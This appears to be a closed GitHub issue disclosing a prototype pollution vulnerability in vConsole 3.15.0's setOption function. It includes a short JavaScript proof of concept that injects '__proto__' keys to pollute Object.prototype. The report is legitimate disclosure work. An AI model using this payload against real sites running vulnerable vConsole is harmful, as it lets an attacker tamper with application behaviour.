Closed
Description
hello.
This is LINE Security Assessment Team.
Share the security vulnerabilities we found.
CC. @03sunf, @shpik-kr
vConsole Version: 3.15.0
issue
Lines 519 to 542 in 346ae64
Possible prototype pollution due to incorrect key and value resolution in setOptions in core.ts.
poc
var vConsole = new window.VConsole();
vConsole.setOption("__proto__.foo","bar");
vConsole.setOption("__proto__.noOrig",1);
console.log(Object.prototype.foo);